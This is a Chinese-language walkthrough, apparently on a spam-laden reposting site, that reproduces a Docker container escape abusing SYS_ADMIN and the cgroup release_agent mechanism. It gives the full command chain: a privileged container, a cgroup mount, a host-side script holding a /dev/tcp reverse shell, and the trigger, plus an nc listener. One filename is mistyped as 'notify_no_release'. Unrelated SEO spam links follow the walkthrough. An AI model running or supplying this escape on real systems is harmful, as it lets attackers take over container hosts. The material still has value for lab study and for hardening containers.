当前位置: 首页 > news >正文

政府网站建设原则 统筹规划网址链接生成器

政府网站建设原则 统筹规划,网址链接生成器,wordpress云播放器,龙泉驿区城乡建设局网站1.漏洞原理Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。若启动docker容器时给主机一个--cap-addSY…

1.漏洞原理

Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。

若启动docker容器时给主机一个--cap-add=SYS_ADMIN的权限,攻击者可以在容器内通过挂载宿主机cgroup,并利用cgroup notify_on_release的特性在宿主机执行shell,从而实现容器逃逸。

注释:

cgroup:限制资源分配的技术,限制docker的特定资源

Linux下SYS_ADMIN权限:允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

notify_on_release特性:这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用(即值为1时),当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会默认执行release_agent参数指定的文件里的内容。

2实验环境

系统环境:ubuntu

docker版本:18.09

挂载的ununtu版本:18.04

3漏洞复现

3.1安装Ubuntu docker 镜像

命令:

docker pull ubuntu:18.04

3.2 SYS_ADMIN的权限运行ubuntu容器

命令:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 /bin/bash

--security-opt apparmor=unconfined这两个选项默认的开启AppArmor配置,保证了docker以严格模式运行使用权限限制较高,改为unconfined表示表示去除Docker默认的AppArmor配置,即不开启严格模式运行容器。

结果:

3.3查看docker添加的权限

命令:

cat /proc/$$/status | grep Cap

结果:

查看CapEff的具体权限

命令:

capsh --decode=00000000a82425fb

结果:

其中SYS_ADMIN权限添加成功

3.4挂载cgroup及其选项

命令:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp 

结果:

查看挂载

命令:

ls /tmp/cgrp

注意挂载完成宿主机的memory后主要是为了成功设置notify_on_release为1 以及在release_agent中加入文件。

3.5在cgroup中新建一个子系统

新建cgroup子系统是为了防止影响宿主机的正常运行

命令:

mkdir /tmp/cgrp/x

将使用x文件作为POC操作的主要目标

3.6设置notify_on_release为值1

命令:

echo 1 > /tmp/cgrp/x/notify_no_release

结果:

3.7将release_agent指定为容器在宿主机上的cmd文件

3.7.1寻找容器路径

由于最后需要运行的为release_agent中的内容,文件的位置在宿主机上所以需要寻找宿主机上容器的路径以便于反弹release_agent中的内容

命令:

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

结果:

3.7.2写入shell文件cmd到容器路径中

在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/release_agent参数指定的文件

命令:

echo "$host_path/cmd" > /tmp/cgrp/release_agent

结果:

3.8创建写入cmd文件

应该在docker的根目录下创建原因:由于docker共享宿主机磁盘即docker在系统下有自己的文件夹,所以docker的根目录下创建的文件也会体现于系统中。

命令:

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/127.0.0.1/8443 0>&1" >> /cmd   #使用同一台宿主机8443端口进行shell回弹监听

结果:

在宿主机中查看cmd文件创建成功。

3.9给cmd文件执行权限

chmod a+x /cmd

3.10使用本机进行回弹端口监听

重新打开一个会话用于回弹端口监听

命令:

nc -lvvp 8443

3.11执行cmd文件

命令:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,即自动执行cmd文件。

3.12查看回弹监听结果

查看权限

宿主机成功回弹,逃逸成功。

http://www.ds6.com.cn/news/62490.html

相关文章:

  • 免费的网站管理系统营销方案怎么写
  • 国外顶级设计网站网络销售平台排名前十
  • 电商网站设计风格和内容搜狗站长平台验证不了
  • 互联网站账户e服务平台可以看任何网站的浏览器
  • 包头市做网站软文写作案例
  • 网页制作公司网站阿里云域名注册入口
  • 做网站需要申请商标哪些类目灰色词排名推广
  • 张店网站建设定制全网推广成功再收费
  • 百度验证网站的好处如何制作网页游戏
  • wordpress主题修改菜鸟教程seo技术有哪些
  • 标识设计厂家杭州seo渠道排名
  • 重庆建设工程施工安全网站内seo优化
  • 运城市做网站价格银川网站seo
  • 自己怎么做优惠搜网站百度网站排名关键词整站优化
  • 哪家公司做网站结算好淘宝关键词搜索
  • 哪些网站做的比较好的你就知道
  • frontpage建设网站的图片百度怎么注册公司网站
  • 凡科网代理商登录windows优化大师的功能
  • 学生个人网页成品成都seo推广
  • 做家政公司网站地推怎么做最有效
  • 网站开发php js百度问答下载安装
  • 外发加工网站源码下载百度学术官网登录入口
  • 怎么做网站服务器吗广东疫情最新消息
  • 网站服务器管理维护百度关键词价格排行榜
  • 手机网站制作价格郑州seo代理外包
  • 香港美女做旅游视频网站世界搜索引擎大全
  • 河南做网站公司百度账号注册平台
  • 建立企业网站步骤今日广州新闻最新消息
  • 网站怎么做伪静态iis7.0招代理最好的推广方式
  • 3m网站源码广告公司名字